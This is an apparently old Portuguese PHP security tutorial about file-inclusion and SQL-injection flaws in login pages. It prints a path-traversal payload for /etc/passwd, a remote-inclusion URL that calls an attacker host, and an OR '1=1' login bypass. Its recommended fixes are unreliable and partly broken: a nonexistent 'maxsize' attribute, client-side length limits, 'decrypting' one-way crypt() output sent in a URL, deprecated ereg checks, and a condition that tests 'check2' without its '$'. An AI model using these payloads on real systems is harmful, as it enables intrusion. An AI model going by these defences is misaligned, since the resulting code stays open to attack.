por Jacques E. Winand
A flexibilidade do PHP é que ele é uma ferramenta útil ao desenvolvimento de sistemas para internet, mas esta mesma flexibilidade pode ser usada de forma inadequada por usuários mal intencionados e proporcionar vulnerabilidades no servidor.
É fundamental restringir ao máximo a visualização das informações que trafegam pelos cabeçalhos HTTP, e certificar-se de que estas sejam postadas de um lado e recebidas de outro dentro de critérios definidos pelo programador. A má utilização das funções include(), require() e fopen() além da configuração das variáves globais no servidor é fundamental para manter um nível de segurança adequado.
Analisamos o seguinte exemplo:
Um programador desprevinido se utiliza do método de fast templates para mostrar conteúdo dinâmico na página, a cada link clicado a função include é chamada para mostrar novo conteúdo na página, a função include recebe da variável
$link qual será este conteúdo, passando o mouse pelo link em questão vemos:
http://exemplo.com.br/exemplo.php?link=faleconosco.html
Neste caso (o que já vi por aí na web), devemos considerar o seguinte:
- Foi verificado a extensão do arquivo antes de passar o valor de
$link para a função include?
- Os diretórios transversais são permitidos?
- É permitido arquivos remotos?
Se a resposta é não para apenas uma destas perguntas este servidor está a prestes a ser invadido.
Considere o seguinte:
http://exemplo.com.br/exemplo.php?link=../../../etc/passwd
E pronto, todas as senhas do servidor são públicas.
Agora vamos imaginar que o invasor chame o a seguinte url;
http://exemplo.com.br/exemplo.php?link=paghacker.com.br/exec.php
Onde exec.php contém:
Seu /etc é público ....
Acho que deu para ter uma idéia do que pode ser feito se utilizando desta vulnerabilidade.
Outra vulnerabilidade muito explorada são telas de login tipo usuário e senha, em muitas páginas já encontrei aqueles que incluem as variáveis diretamente a uma string sql, o que torna o login numa piada. Examine o seguinte exemplo:
<input type="text" name="login">
<input type="password" name="senha">
Isso gera as variáveis
$login e
$senha. Na página seguinte encontramos:
<?php
$sql = "SELECT * FROM users WHERE user=$login AND pass=$senha";
?>
Perfeito, está pronta a ser invadido, realize se o usuário digitar
OR "1=1" no login e senha, teremos:
<?php
$sql = "SELECT * FROM users WHERE user= OR '1=1' AND pass= OR '1=1'";
?>
Ou seja,
$user = a nada
OR 1=1 --> passou
$senha = a nada
OR 1=1 --> passou
e pode-se fazer muito mais....
E o usuário está conectado ao sistema. Pode parecer ridículo mas o número de páginas em que estas falhas podem ser encontradas são inúmeras pois tem a impressão de que a segurança está apenas a cargo do adminitrador de rede, é óbvio que um servidor bem configurado evita muitas destas vulnerabilidades, mas não dá para confiar.
Para diminiur a vulnerabilidade ou evitar que invasões ridículas como estas aconteçam podemos nos utilizar de pequenos cuidados no código da tela de login por exemplo:
<input type="text" name="login" maxsize="5">
<input type="password" name="senha" maxsize="5">
Só isto já ajuda bastante pra começar, o invasor não poderá digitar o que quiser para login, determine limite para seus usuários. Isso é o básico, além disto é preciso usar criptografia para passagem de variáveis, abaixo seguem alguns exemplos:
Este arquivo é o login.php
<?php
if (!
isset($flag) ) {
?>
<form name=
"login" action=
"login.php">
<input type=
"text" name=
"login" maxsize=
"5">
<input type=
"password" name=
"senha" maxsize=
"5">
<input type=
"hidden" name=
"flag" value=
"1">
</form>
<?php
} else {
$log =
crypt(strtoupper($login),
"d19");
$snh =
crypt(strtoupper($senha),
"b8");
?>
<form name=
"autentica" action=
"autentica.php?l=<?php echo $log; ?>&s=<?php echo $snh; ?>" method=
"POST">
</form>
<script language=
"javascript">
autentica.submit
();
</script>
<?
}
?>
Do outro lado no autentica.php:
Esta etapa permite o sigilo das informações que trafegam pela Internet, e dificulta um pouco mais a tentava de logins não permitidos. Mas o essencial é a utilização de expressões regulares que verificam a consistencia destes informações, podemos nos utilizar delas para verificarmos a inserção de comandos SQL nas variáveis, verificar extensões antes de submetelas a includes, requires e fopens.
As expressões regulares podem também verificar um contexto pre-definido para senhas por exemplo, mas para tanto é preciso que você defina o padrão de senha e gere as mesmas dinamicamente para seu usuário.
Vejamos um exemplo para nosso caso:
Ainda no autentica.php, abaixo da desemcriptação verificamos a consistencia das variáveis recebidas.
<?php
$check1 =
0;
$check2 =
0;
if (ereg("^[a-z]+.@",
$login)) {
$check1 =
1;
} else {
echo ("Vai hackear outro site !");
}
if (ereg("[0-9]",
$senha)) {
$check2 =
1;
} else {
echo ("Vai hackear outro site !");
}
if ($check1 ==
1 AND check2 ==
1) {
//submeta os valores
}
?>
Sendo que meus login tem como padrão terminar com @ e minhas senhas são sempre numéricas de 5 dígitos.
E as variáveis estão prontas para serem incluídas na string SQL.
Espero ter aberto os olhos dos iniciantes na codificação PHP, para que cada vez mais a linguagem se torne sinônimo de eficiência, versatilidade e segurança quando utilizada para aplicações de qualquer porte, futuramente publicarei novo artigo mais prático mostrando vários exemplos.
Até mais,
Jacques E. W.